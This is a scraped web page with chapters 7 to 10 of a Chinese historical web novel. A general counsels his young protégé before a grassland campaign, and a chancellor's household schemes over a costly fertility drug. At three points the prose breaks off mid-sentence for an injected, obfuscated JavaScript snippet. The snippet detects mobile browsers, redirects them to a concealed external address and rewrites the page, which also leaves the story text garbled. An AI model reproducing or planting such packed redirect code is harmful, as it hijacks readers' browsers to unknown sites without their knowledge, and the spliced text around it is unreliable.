但这还只是开始,更关键的是:“朝廷的军制已经到了必须要改革的时候,再不改就不会只是现在这样到处出小问题而是要出大问题了。拖不是办法,或者说像现在这样装瞎硬拖已经拖不下去了,这一点圣人身居高位想必比我看得更清楚,但他没有足够的魄力且心存侥幸。他怕改不好出了乱子压不住,想要立一个人挡在他前面替他去改,如果改好了那自然无事,一旦在改制的过程中出现任何差池,那这个人就会被推出去承担一切,以死平息纷争,敲打有心之人,并且给圣人争取更多的时间。” 雍平康最后甚至轻描淡写地加了一句:“如果一个人的命不够,还可以夷他三族、灭他九族,以平激愤。” 雍长龄终于忍不住瞪了她一眼,危言耸听也就罢了,还如此言语无忌:“你给我不许说那个字,你父亲我忌讳!” 雍平康从善如流道:“是是是父亲我错了。药效上来了,我好多了,咱们去吃点儿东西吧。” 雍大将军给白阳来讲的故事只此暂告一段;于是白阳来给燕昭鹏讲的故事便也就到这里。 白阳来双手各拿一双筷子剥橘子皮,烤熟了的橘子外皮焦黑,内里却灿黄甜蜜汁水丰沛,燕昭鹏一边盯着被他拨开一角的橘子,一边听他小声说:“后来发生的一切与雍娘子说的一样。陆老将军卒后,陆家几位将军和他们的孩子在三年之内陆续离世,曾经煊赫一时的陆家门殚户尽。圣人也果然透出立后的意思,雍娘子与现在的莉贵妃联手,一顿经营之后,莉贵妃入宫,雍娘子跟着受命去边境平乱的雍大将军去了西境。雍娘子足智多谋算无遗策,不但辅佐大将军成功抵御了来犯之敌还追着打下了七座城池,立了大功。” 燕昭鹏面容沈肃地说:“雍娘子留在边关了。” 白阳来神色平静地说:“对,她给自己选了个喜欢的地方。” 燕昭鹏由衷钦佩,雍平康做了他一直偷偷想做但是完全不敢的事情:“这听起来可能有点儿疯,但是小羊你知道吗,我可真喜欢她这个做法,以后我要是也能想怎么死就怎么死,那我这辈子也就圆满了。” 白阳来手劲儿一偏原本能完整剥下的橘子被插了个洞,凤目不满地瞪过去一眼,惹得燕昭鹏眉开眼笑,这些话也只能跟白阳来说说了:“你也不用瞪我,我想什么难道你不知道?我犯病的时候是谁整夜整夜攥着我的手不敢睡的?你怕什么?我好不容易藏的药,又是谁给我全都拿走锁进自己的小柜子里的?”燕昭鹏当时很感动,白阳来强烈的求生意志一直都很有效地影响着他,他才终于能够熬过一次次难受的时光。但好笑也是真好笑:“你知道我藏东西的地方,难道我就不知道你藏东西的地方?哎,不说别的,你那些柜子的钥匙我也都有,你藏在那儿你是怎么想的?” 白阳来忍不住跟他斗嘴道:“你说我是怎么想的?那我能藏哪儿?我什么不是你给的?既然有钥匙那你怎么没去动呢?” 接着又正色劝道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099119|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西北苦寒不是随便说说的,一年里气候舒服的时日没有多少。雍娘子喜欢那里是因为那里自由,其实大将军对此一直耿耿于怀,他总觉得若非草原条件太差雍娘子应该能多活些年的。” 燕昭鹏伸出左右各三根手指螃蟹似地夹住白阳来剥好的橘子说:“这就是你跟大将军有所不知了。生而为人什么是最可贵的?不就是自由了么。难过的日子,无论长短,都是煎熬;而快活的日子,过一日便能抵十年!” 白阳来不欲再说这个,转口道:“明王之子毅王,如今身在澄州。” 燕昭鹏啃橘子、吸汁水,自在开心得不行,闻言接口道:“啊,是呀,就是咱家大人现在的那个澄州。” 白阳来看着吃得开心时不自觉地摇头晃脑的燕昭鹏想,以自己如今的身份,想要去澄州只怕会比较麻烦。唉,自己要再快一点强大起来才行,否则怎么照应得了燕昭鹏。 这厢燕大郎君本以为自己放下心中种种思虑之后就会大好,没想到原本还能起身,这思虑尽去的第二日竟然身软无力得连床都起不来了。 白阳来万分自责:“他昨晚吃了整整两个烤橘子,定是因为这个吧?都是我不好!” 燕昭鹏头晕目眩床都起不来还要为烤橘子辩解:“不管事!我原本嗓子疼,吃了橘子好多了。定是因为……” 关阙不胜其烦:“都给我闭嘴吧!一个个这么会,叫我来作甚!” 白阳来昨晚没睡好,一大早又被燕昭鹏病了的消息惊醒,此时眼睛红红像小兔子,瞪圆了看着关阙,关大夫只能哀叹一声安慰道:“没事儿,他这是终于把连日以来的担心一齐都发出来了,倒也算是件好事。”同时呵斥床上的燕昭鹏:“你别乱动了,好生躺着。” 燕昭鹏难受的气都弱了但话还是多:“你是不是又要让我喝粥?还不让我吃盐?” 关阙哼笑道:“怎么?你又想暗度陈仓吗?大狱不比外头,哪怕是擢英司也免不了阴暗潮湿,你的身子可受不得。趁着此次症状都出来了,好好吃药调理,也是个大好的机会。” 燕昭鹏哀叫半晌力气也用尽了,此时闻言只躺在床上闭着眼散着声气冷笑:“十年前就是这个话,谁还信你呢。”明明我昨天都好了。 白阳来听着不是滋味,眼见关阙准备施针,他正好趁这个间隙回营告假,安顿了燕昭鹏几句便离开了。 8. 第 8 章 转眼间两个月过去了,孟春之际,润和大营中一片整装备战的繁忙。 原来冬季过后草原的泼岩麻部几次大规模地袭扰边境,梁州守军数次出战虽然打退了敌军但损失了不少粮草和百姓。每出战一次,梁州都会上报许多损失呈请朝廷拨款拨物,朝中官员总觉得他们虚报谎报,要么不给要么短斤缺两的给。梁州守军收不到军饷物资就不出兵,不出兵蛮夷扰边州府就只好上报朝廷请朝廷做主。朝廷下旨申斥梁州守军,梁州守军就说他们没有军饷老弱病残不堪一战,请朝廷拨款拨物……就这样来来去去,景帝终于不胜其烦,决定从帝都直发雄师前往草原平乱。 原本以为朝中会就领兵人选开始新一轮的争议,没想到景帝对此早有决断,驳回了莉贵妃的母家盛家大郎请愿领兵的折子,直接指派了在帝都修养未久的雍长龄。于是润和大营上下便开始准备行装。 雍大将军大踏步走进中军帐,等候多时的亲兵忙上前给他脱盔甲,他一边舒展手臂方便几人动作,一边问从屏风后面走出来行礼的白阳来:“准备的怎么样了?” 白阳来回话:“刚刚核对过清单,咱们这边一应准备都齐全了。一些辎重粮草在今早您进宫后便已先行启程,只等户部将随军物资备齐送来咱们验过便能开拔了。” 雍大将军转入内室更衣,白阳来将手中账册交给自己的亲兵,跟了进去。 雍大将军随手抄起衣架上搭着的一件外袍穿上,白阳来眼疾手快接住了掉下来的腰带,捧在手中说:“我军先锋已于昨夜出发,行进中的消息刚刚传回:一切顺利。” 雍长龄“嗯”了一声没有多问,转而与白阳来叙起私话说:“那位本以为将金吾卫大将军换成邢彪就能高枕无忧了,没想到吧?里头不动外头动。这仗还有得打。”雍大将军从白阳来手中拿过腰带来扎好,突然冲他眨眨眼笑着小声说:“不过也好,不打仗,咱们的军功怎么来?” 白阳来也笑了笑,但随即他又想起了雍大将军曾与他说过的话,不禁有些担忧道:“可若是按当年雍娘子的分析,即使咱们打了胜仗,也未必能挣来想要的东西。” 雍大将军抚着衣襟说:“是啊,今非昔比。我如今这个位置要再往上走,就算圣人同意朝中那些人也断不会允许。我已然位高权重,在军中资历和声望也都不错,若是一朝败北,说不定倒是满朝的人都愿意同情我为我求情将我从轻发落;可若是再立新功军……”雍大将军声息一口气长叹而出:“那可就不好说了。” 白阳来长眉微颦,雍大将军担心的问题是他无法解决的,他只能捧着一颗心赤诚地说:“大将军放心,不论到什么时候末将都愿为您效死。我虽没有大本事,但愿以我之命保您……” 雍大将军迅速打断他:“住口!胡说什么!童言无忌,快呸呸呸!”白阳来黑白分明的清澈眼眸中原本只有担心,此刻还染上了懵懂,他在雍大将军面前从不掩饰自己的情绪,心里想什么面上一看便知,看得雍大将军又好笑又好气,瞪他:“没听见吗?快呸!” 白阳来只好:“呸呸呸。” 雍长龄:“说你童言无忌。” 白阳来:“我童言无忌。” 雍长龄:“你刚才说的都不算数。” 白阳来:“我刚才说的都是发自肺腑。” 雍长龄:“嘿你小子!” 雍大将军知他为自己担心怎会不倍感欣慰,但有些话现在还不好跟他说,所以只能安慰他道:“别担心,一时半会儿不会有人动我的,刚才不是说了吗,仗还有得打,我还有用。”雍长龄坐在摆满了文书的长案之后说:“与其待在天子脚下日日逢迎,与那些不三不四的玩意儿勾心斗角,还是走得远一些为国征战的好。”说到这儿,雍长龄不禁又笑了起来,说:“这一次就很好。”他喜欢草原。 白阳来见他准备看文书就想退下,还没走开便又被叫住问道:“你家里的事准备的怎么样?” 白阳来于是回到长案边上向雍长龄汇报家事说:“燕墨闻大人已经回信了,说多谢大将军,能在您麾下受教不但是燕溟的大幸事,也燕家的幸事。他给您的信我放在这一摞了。”他指了指雍大将军面前的一摞文书,接着说:“燕溟的入营手续也已齐备,他身带五品承恩校尉衔,做个军师正使得。” 说到这儿,雍大将军就要借机好好教育这个傻孩子了。 他坐在长案后的黄花梨木雕麒麟纹扶手椅上,指点着站在他身旁的白阳来:“你看看,嗯?什么是世家子弟,你现在知道了?先是担心他现在又担心我,你自己呢?你自己的事儿怎么不知道担心担心?”雍长龄道:“就比如这位燕溟,燕家的大郎君,小羊,我知道你与他是交心的兄弟,兄弟之情理当珍惜,可是你与他之间的天壤之别你也要清楚。” 白阳来清楚,他迎着雍大将军关切的目光说:“大将军放心,我清楚。” 雍长龄五指张开就是一挥:“你不清楚。我不是说你不如他,我是说你要清楚你们之间差的不是你与他的头脑和才干,而是燕家几代的经营与积淀。那才是连我都比不了的。” 雍长龄语重心长地说:“你可知燕溟身上的这个五品承恩校尉是怎么来的?那是先皇他老人家看在燕溟的祖父、燕长风老将军的面上赏赐的。五品呐,他父亲燕墨闻在他这个年岁都没有这么高的品级,他可是从出生起就开始领朝廷俸禄了。你还用你那拼命挣来的军功去换什么狱守之位?!”白阳来正认真听着,听到这里简直无奈极了,都这么久了,这件事还不能过去吗? 不能!雍大将军至今想来还是很生气!“你这孩子怎么就这么不知道珍惜自己、珍惜自己的军功!要不是我当初拦下了你的请调,如今人家一来便是五品,你还是个小校,你要如何自处?” 白阳来说:“大将军,我知道您疼惜我,可我本就是个天生地养的野孩子,自然不能跟燕府的小公子相比……” 雍大将军大怒:“胡说什么!谁说你是野孩子?你有什么不能比?” 雍长龄恨不能提着他耳朵把话刻在他心里:“他出身高贵可你本领高强,怎么不能比?天生地养就是野孩子?身为人身谁不是天生地养的?知道我疼惜你你怎么还好好看重自己?嗯?” 说到这里,必须旧事重提:“那些你拼了命才得来的军功,不该拿来换荣华富贵、高官厚禄吗?你在战场上拼命是为了什么你告诉我?” 白阳来不敢说他是为了不辜负雍大将军的赏识和厚望以及燕家的提携教导与救命之恩,不过雍长龄也猜到了。 于是他更生气了。 雍长龄厉声道:“白泽,你给我记着,你在战场上拼命,是为了让自己、让你的亲人、家人和全天下手无寸铁的百姓都过上太平安乐的日子!明白吗?你的军功,就是要用来换官、换权、换富贵的,知道吗!当初若是真的任由你胡乱将那些得来不易的军功都兑出去,如今,你就只配给五品承恩校尉牵马!白阳来,我赏识你不是为了这个的,你若当真如此那就是对我莫大的辜负,懂吗!”气死老子了!这一次必须给我长个好记性。 白阳来重重跪下,向雍大将军认错:“是我的错,我不该视军功为儿戏,我有负您的期待。” 雍长龄冷笑一声,继续给他长记性:“你还辜负了战场上与你一同拼杀却不如你这般幸运的同袍。他们与你一同上战场却没能跟你一起回来,你的军功里也有他们的命!” 这一句话,压得白阳来一叩到地再也起不来,眼中滚出炽热的泪来,一滴一滴润湿了那张木红地锦纹栽绒地毯。 雍长龄看着他微微抽动的脊背丝毫不为所动,话语如寒风般冷酷:“你拥有他们没有的幸运,却不知珍惜地挥霍你们一同用命换来的军功,就为了给你从小伺候到大的贵人郎君送口热汤饭!白阳来啊,狱守啊,哼!亏你想得出来。”“啪”的一掌拍在案上,从声音和动作中都感觉得出雍大将军想骂他很久了,再不一吐为快这件事简直要在雍长龄心中郁积成结了。 雍长龄看着他单薄有力的肩背利落地收束在窄劲有力的细腰中,十分可惜地说:“直到现在,你恐怕依然没有意识到自己错在了那里吧。” 白阳来稍抬起头又立刻磕了下去,恳切道:“求大将军教我!” 雍大将军叹了口气轻轻颔首:“我自然要教你,当年康儿……”就是因为我有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099120|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负人父之责才…… 当年初为人父的雍长龄还不会养育孩子,直到妻子去世之后他才发现比起高官厚禄阖家幸福对他来说更重要。他自知有错愧悔不已,想要亡羊补牢却深感为时已晚,于是便将全部的爱都给了女儿。他发现女儿聪慧敏锐远胜于他,凡是都很有自己的主意,深觉自己愧对妻女的雍长龄因此对她事事纵容,唯恐她不顺心,就连雍府上下的一应事务也任由雍平康决断。到后来,雍平康认为自己必须一死才能为父亲和润和大营挣来一息自由契机的时候,雍长龄才惊觉自己又犯了错,然而此时再拦又哪里还拦得住……此事无论何时说起都令他无限忏悔唏嘘。 “但你不一样。”强行将自己从回忆中抽离的雍大将军三根手指并拢轻拍桌面,借机收拾情绪,继续教训道:“你还来得及。”说到这儿,没有成功育儿经验的雍大将军忍不住在心里犯嘀咕:这只小羊虽然年纪轻,但上了战场从来都只有他占敌人的便宜,连胜战绩可查,也是极有心思主见之人,不过他对自己从来都是一片赤诚,自己这一次应该能把握好分寸管教得住……吧。咳,总之雍长龄正色道:“前车之鉴,后事之师。你可不许学了你姐姐的一意孤行!不要因为一件事情自己做起来轻易就不去在意它。那些你觉得很简单的事情对旁人来说可能是很难做到的,所以事情本身是极有价值的。你可能不在意,但不要去低估它,更不能对之不屑。天赋虽然并非十分稀有但为人妒忌却是必然的,妒忌你的人会对你做什么你根本想象不到。”天赋如何不十分稀有呢?只不过雍长龄见过的天赋之人太多罢了。 “其次,也是最重要的。羊儿,你虽不知父母来处,但你天生不凡,你非但不能轻贱自己,还要像保护我、保护那个燕溟那样,更好地保护你自己知道吗?” 白阳来看着他慈爱的眼中满是担忧,沉默了许久终于忍不住露出了一点脆弱:“大将军,我知您一心都是为了我好。可是您的话,我不是太懂。我从小……我不知来处,也不知归路,我于这天地之间……我不知道我算什么,我也不知道自己来这一遭是要干什么。”白阳来声音颤抖伏地再拜说:“还请大将军教我!” 雍长龄温暖有力的大掌将他扶起,声音沉厚语气轻柔的对他说:“我在这污浊凡世中只见过两块浑然天成的美玉,一块是我的亲生女儿,另一块”他用欣赏寄望的眼神看着白阳来:“就是你。”他说:“来人间看一看不用为什么,你好好活着就够了。” 白阳来的眼中还是充满迷茫,他甚至瘪了瘪嘴,罕见地露出了一点可怜的神色。 雍大将军说:“别人不懂是他脑子不行,你不懂那一定是因为你没有好好地想过。你心里有燕家那对父子、有我,可能还有这大营中与你生死相托的同袍,可是你自己呢?这天地间有你,可你自己的心里,有你自己吗?” 白阳来不自觉地滚下泪来,他不想哭的但不知为何此刻的泪水好像不受自己控制一般一颗接着一颗滚落下来。 雍长龄叹息道:“你是个重情义的好孩子,你记仇,更记恩。可你心里若是连自己都没有,又将旁人寄于何地呢?”他说:“见众生见天地之前,你要先见自己啊。” 白阳来泪眼微红看着雍长龄,雍长龄的双眼也渐渐地红了,他说:“小羊,不要像我一样,失去了才来后悔。”他慈爱地笑了:“这一点康儿比我好,她说她一直知道自己最想要什么,而我从来不曾阻拦她。她说,我是个好父亲,谢谢我肯成全她。” 白阳来掏出帕子递给雍长龄说:“大将军,都是我不好,又勾起了您的伤心事。” 雍长龄接过帕子擦着泪说:“不关你的事。自她去后我哪有一日不伤心。”他叹了一声道:“我有时候想,她们母女早早离开这人世也挺好,能少受些苦。独留我一人在这世上日日思念,日日伤心,或许就是我欠她们的。” 白阳来想说些什么却被雍大将军拦住:“行了,你就别想着劝我了。自己的事多想想,早日想清楚了是正经。我已经老了,你还年轻,知道吗?” 雍长龄看着白阳来离去的背影,苦涩地笑了。其实他方才想说的是:“我有的只是回忆了,而你还有希望。” 9. 第 9 章 大军开拔在即,雍大将军白天在一直在宫中议事,留白阳来在大营全程参与学习营中的各项准备工作,让他对大军各方面情况的了解都增进了不少。晚上,雍大将军回营,还有无数公文等着他阅看,还好白阳来已经帮他先行分类处置了不少,雍大将军只要参看白阳来写下的条目亲阅重要的内容就好。 夜深而静,白阳来在旁边的火炉上烧上水后便安静地收拾着东西。雍大将军偶尔会与他说起一两句信件上的内容,白阳来好奇地问:“我听荆将军说,那边军府的开府将军跟您不对付?” 雍大将军翻信的动作停了一下:“嗯,是工部的荆永孝吧,他说的是年轻的时候。当时我们跟那个简孝文都在一处训练,姓简的打架打不过我,射箭射不过我,就自诩文采比我好,没事儿喜欢作几首酸诗嘲笑我,还写出来让人传阅。我以为他多识字呢,结果一看,什么诗,几句顺口溜罢了,字写得还没我工整。我就给他抄了一遍再传出去。结果你猜,军中认字懂诗的有几个啊,谁看诗,都说字好看,字比诗好。哈哈哈哈那个傻子,给气毁了!”白阳来也跟着轻轻地笑。 雍大将军满不在乎说:“别担心,我现在官比他大,敢不听令?大不了揍他一顿。” 白阳来愿服其劳:“我去揍。” 雍大将军笑得更开怀了说:“你小子手太狠,我怕他扛不住。” 当年边境不稳,雍长龄身为内府军中郎将带兵平乱很正常,可是如今他已经是正三品的大将军了,此次的边境之乱也并不严重,竟然派了他,实在是很明显的大材小用。 户部的一间库房中,户部侍郎徐知明正带着亲信书吏核验润和大营出征所需的军备物资,只听他利落地吩咐下属道:“先挑样子最好的送过去跟着大军出发,剩下的也尽快点出来,装好后分批送;有什么缺的记下来让下头补齐,切记交接时核对清楚,万不能有所遗漏。” 书吏唯唯称是:“徐侍郎放心,都记下来了。”旁边干活的众人也一边干活也一边应是,不敢有丝毫怠慢。 度支和仓部各有一位主事跟在旁侧公干,此时也接话道:“您放心,知道是给雍大将军的,属下等准备的都是好东西,绝无次品。” 另一人道:“听说此次边乱并不严重,没想到竟派了雍大将军亲自领兵,如果不是他,咱们平时备着的东西直接送过去也就是了,徐侍郎您也不必如此辛劳。” 这位户部侍郎就是原先度支部的主事,是“永兴案”发后被擢升上来的,这算是他上任之后遇到的第一件大事,自然更上心些,此时亲自看过确实准备得差不多了,也终于能放下心来,愿意说说闲话放松放松了。徐知明接过茶饮了一口道:“你们没跟这位雍大将军打过交道,不以为意也是有的。想当年他在西北连下七城,我曾跟着礼部去送过赏赐。这位大将军,除非他想跟你含糊,否则你最好别跟他含糊。”也是没想到,这么年过去他都已经做了大将军了却仍要亲自领兵,再上战场,甚至是刚平了叛回来不久,又要去平乱,帝都的将军不少,可怎么总是他。 帝都的一座座府邸中,不少人都沉默而紧密地关注着雍大将军和他的润和大营,有人为他不平,觉得他身居高位却仍要以身犯险太辛苦;有人眼红他总有建功讨赏的机会,不肯给别人一点出头的机会;而有人,却只是很想知道,此一次没有了那位‘天赐军师’不知他还能否再下七城。 邢府,夜晚也灯火通明,偌大的府邸处处点灯,正堂更是点着儿臂粗的蜡烛,照得雕梁画栋一片灿烂辉煌。 邢相国端坐正位,夫人亦陪坐在榻上,那座黑漆描金灵芝百子纹的大榻上摆着成套的一个炕桌,桌上茶香袅袅。 一身装饰富丽精致的陈夫人看着夫君手边那盏茶说:“夜深了,怎么还饮茶?” 邢相国皱眉回道:“无事,就是不喝茶也睡不着。你困了自去歇息就是。” 儿子等会儿要来,陈夫人哪敢离开。她凑趣地对邢相国说:“要出征的是那雍长龄,你怎么也睡不着了?” 邢相国虽然觉得不可能,但心里莫名就是担心又烦躁,他端起热茶抿了一口说:“我本以为,自从他女儿去了他在圣人面前的根基也就没了,这些年就一直没将他放在眼里。可是这几次圣人用来用去都是他……”邢相国不肯承认是自己太自负,低估了雍长龄,但事实确实如此,即使他没做国丈,景帝也依然信任倚重于他。 陈夫人观夫君面色不虞,柔语温声地说:“蛮夷犯边自然要派兵平乱嘛,雍长龄除了打仗还有什么别的本事?若是圣人不派他去那苦寒之地难道他还有什么别的用处?他又不像夫君你,文武双全的,上阵能指挥千军万马,在朝能助圣人安邦定国。”陈夫人虽然有年纪了,可说话的声音仍旧是清甜婉转,尤其是与邢相国两人独处之时,说气话来语声既柔雅又有无限蜜意,听得人如同身心都浸在冷热刚刚好的温泉之中,无比舒泰。 邢相国从来不能抗拒陈夫人的柔语温声,这次也是一样。他半侧了身对陈夫人说:“夫人若是乏了就先去休息,我等茂昇回来不过是想问问他圣人的近况,没有别的。” 陈夫人陪笑道:“夫君与茂儿同为家族忧劳,我哪有独享清闲的道理。夫君放心,等茂儿回来我便去厨下将准备好的宵夜端过来,不会打扰你们说正事的。” 邢相国乐呵呵笑了一会儿突然觉得不对,他的面色说沉就沉,语调也转低了:“怎么?那件事又有不顺?” 还不等陈夫人回话他已经急了:“上次不是说怀上了吗?难道是骗我?” 陈夫人连忙将语气又放软了十成,哀道:“夫君,我怎么可能会骗你呢,上次是怀上了,还是两个一起怀上了。原本怕胎坐不稳,前三个月都是不让说的,只是因为你急着想知道好消息,一诊出喜脉我就赶忙与你说了。哪知道果然是没坐稳,前日来信儿说,两个都没了。” 邢相国又心疼又生气斥道:“照你这么说,是因为我知道了孙儿们才没的?!” 陈夫人马上起身劝道:“夫君~哎呀夫君,你这说的是什么话嘛,这怎么能是你的错,错就错在那两个怀了咱们孙儿的娘子没福分。别气啊,别气。全家全族都指靠着你呢,千万别生气。况且这件事仔细想想也不全是坏处。” 邢相国余气未消,恨声道:“孙儿都没了还能有什么好事?” 陈夫人说:“夫君你想啊,这越州的秘药虽然是贵,可也是真有效啊,茂儿吃了三次就有两个娘子怀上了他的骨肉。虽说如今是没了,可是,知道秘药有效咱们再去买就是了。再怎么贵能贵得过咱们邢家的子孙去吗?” 邢相国一听对啊,邢彪原先坏了身子吃了秘药都能使人有孕,邢相国想:我虽年长,但雄风不减,若是我也吃下秘药,再添一两个儿子,也不用整日跟这一个置气了。这倒确实是个好消息。 陈夫人不知道邢相国所想,还在说:“那秘药起效需服三次,一次一丸,一丸二十万两银子,还要加上往来越州的各处打点、护卫马匹什么的。咱们要得急,往来一次也要个几万。茂儿原先不想让父母操心,所以……” 邢相国打断他:“行啦,我为他操的心难道还少吗?他在湖州做下的那些事情,你以为我不知道?若不是我一直替他遮掩他能太太平平的当上金吾卫大将军?燕墨闻是离开帝都了,可除了他帝都的能人也多了去了,你以为,我不替他操持打点这个位置能轮到他?” 邢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099121|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相国冷哼道:“六十万,哼,只要有用,难道家里还没银钱吗?这事你不用管了,我派人去买药。” 陈夫人闻言还未高兴,邢相国便接着说:“邢彪回来你让他好生修身养性,我就不等他了。” 说完甩手走了。 陈夫人目送他离去,交代下人若是郎君回来告诉他不必来见,自去歇息就是。她交代完正准备回自己的院子,就见贴身的丫鬟急急赶来,她挥退下人问:“怎么了?” 丫鬟浮香凑到她耳边说:“相国去了那边院子。” 陈夫人眉毛都没动一下,端了端袖子语气冰冷似铁地说:“吩咐厨下,明日做顿丰盛饭菜,犒劳她们替我伺候夫君。” 浮香敛手低眉道:“是,夫人。” 陈夫人做大家夫人几十年了,经了多少事,早不会为邢相国去了哪里睡了什么娇花美妾的生气了。若大一相国府只有她一个人的儿子,这就够了。 然而有些人,可能生来就是要气你的。邢夫人洗漱完毕上了床都要躺下了,浮香的母亲、邢夫人娘家的陪嫁丫鬟、现在替她管着府中钱物出入的范妈妈急急请见。 陈夫人让她进来,微皱了眉佯怒道:“什么事急三火四的?不能明日再说。” 范妈妈双手前伸步履匆匆说:“哎哟我的娘子啊,这事我想来想去还是一刻都不敢瞒您呐!” 陈夫人嗔道:“惯是大惊小怪的,怎么了?” 范妈妈扑到陈夫人床前,跪在那紫檀石榴纹的脚踏上低声对她的娘子说:“刚才姑爷派人到账房吩咐说”府中账房正是范妈妈的丈夫,“让从账上支一百四十万两银子给郎君补养身体。” 陈夫人一瞬间如晴天霹雳! 多年夫妻,她想都不用想便明白了邢相国的意思。越州秘药六十万两可保有孕,儿子一付,老子一付。邢相国这是想将她连同儿子一齐抛开啊!与其逼着儿子生孙子,不如自己再生个儿子?好哇,真是好哇! 陈夫人在心中冷笑道:年轻的时候满院子的小妾我都没让任何一个威胁到我、威胁到我儿子,如今!老了老了,我怎么可能再让谁越过我去!邢兰珅你就死了这条心吧,你们邢家就算断子绝孙我也不会让你有第二个儿子!陈夫人狠狠地想,保养得宜的玉手攥紧了缂丝百子被面。 那范妈妈还跪在脚踏上低声替邢夫人不平:“娘子啊,你可要赶快拿个主意啊,千万不能手软啊。当年你怀着郎君的时候,姑爷就是以给您补养身子为由从账上支了大笔的银钱,买外宅养外室啊娘子。如今这么多年过去了,又要拿郎君当理由。娘子,你可千万别像我一样,眼皮一错我家那个冤孽外头的孽种都生下来了呀。要不是有娘子您给我撑腰我如今可怎么活?他还想把那孽种送进府来伺候郎君!我呸!”范妈妈说着说着气血上涌:“我真恨当年没听您的话,一尸两命结果了算了,如今日日气得我头疼!娘子,我这没决断的恶果您可要引以为戒啊。” 这时她女儿浮香端着陈夫人的安神香进来了,看见自己的母亲跪在脚踏上抽泣,忙将香炉放下,赶过去说:“这是怎么了?夫人怎么了?母亲怎么了?” 陈夫人让她把范妈妈扶起来,看着眼前的母女,陈夫人欣慰又心酸道:“还是你二人好,我那个儿子,从不与我贴心。浮香,好生送你母亲回去吧,今晚你就歇在家里好好陪陪她。”又安慰范妈妈说:“你放心,我有数。这府里有我一日谁都翻不出浪来。让浮香明早进来当值,我有要事派她用场。” 范妈妈与浮香母女谢了恩,相携着退了下去。 陈夫人看着浮香安置在她床头的安神香,伸手掠了掠飘散出来的烟雾。她看着烟雾飘散的眼神比夫君和儿子都更锐利果决。 10. 第 10 章 这一夜注定是帝都高门不平静的一夜。 盛国公府的主子们也同样深夜不眠,不过盛国公与邢相国一样都没等来儿子,只好与府中的幕僚商议雍大将军带兵平乱一事。 幕僚甲捻着胡子分析道:“这泼岩麻部当年可是草原霸主,自当年的燕帅重伤了泼岩麻大军之后,那双翼狮王便没敢再举兵进犯过。就是后来他弟弟继位也不过小有骚扰,不成气候,朝廷一直是任由边军应对,没有正式从帝都派过兵。如今命雍大将军带着润和大营前往平乱,圣人要的绝非小胜。” 幕僚乙不看好地说:“当年雍长龄就是靠着在草原上的七战连捷才坐稳了他在军中的位置,只不过当年的对手不是泼麻岩部,甚至都不是同一片草原。如今想要再胜,绝非易事。” 幕僚丙相比之下更加沉稳中立一些,他说:“若要与从前相比,那就要全面地比一比。从兵力和装备来说,当年派他平乱是因为无人愿往,他临危受命这才在出征前封了个从四品的内府军中郎将。虽说当年的兵也是精兵,但跟如今他一手训练出来的润和大营是不可同日而语的;数量不如现在多。其二,武器与辎重保障方面。当年不要说他带的兵了,就是他自己都是靠朝廷的军饷俸禄度日养家的,即便能有些个外财也不过是拿回去修修园子也就罢了。如今可大不一样,自从朝廷削减军费开支令各军自筹补足后,各军各大营便有了垦地自专之权。润和在当年七战连捷的那片草原开垦出大片荒地,依照新规便都属于雍长龄与润和大营的各位将军所有。虽不知草原垦荒出产如何,但看他们回帝都的气势,勉强还是过得去的。” 幕僚丁说:“丙兄言辞讲究,依我看也就是过得去罢了。他那大营驻扎在城外,恨不得方圆五里不许人接近,不知道情形如何。只听说他们采买肉食十分吝啬,帝都冬季有食羊肉锅的习俗,但他们营中从不采买羊肉,不仅底下士兵不食,就连上层的将军们都不用。想来钱财是不慎宽裕的。” 幕僚甲不以为然:“他们常在草原出入,或许是羊肉吃腻了不想吃也是有的,再说,帝都的羊肉价贵……” 幕僚丁点着他的话头说:“唉,对啊,你也说了帝都羊肉价贵,敢问甲兄,你会因为羊肉价贵便不在落雪之时烫羊锅、饮热酒吗?因为价贵而不花费,那便是无钱。” 幕僚丙等他说完,不疾不徐地略表赞同道:“雍大将军家资丰沛与否属下不敢妄议,但想必国公与诸位同僚都知道,燕家那只金尊玉贵胜似连城之璧的鲲鹏鸟前不久到润和的前锋营做了长史。自从雍大将军爱女早逝,他便拒绝了所有想要到他营中挂闲职攒资历的郎君,任你门第如何高、家财如何多,他都没有点过头。这一次能同意让燕溟郎君入营,会不会就是因为他养兵缺银钱了呢?” 幕僚丙说:“国公,属下的意思是:与从前想比,此次出征兵员数量更多,尤其润和大营的兵丁对雍大将军来说确实更为忠心可用;但在物资保障尤其是武器装备方面,他们如今的条件或许不如从前。” 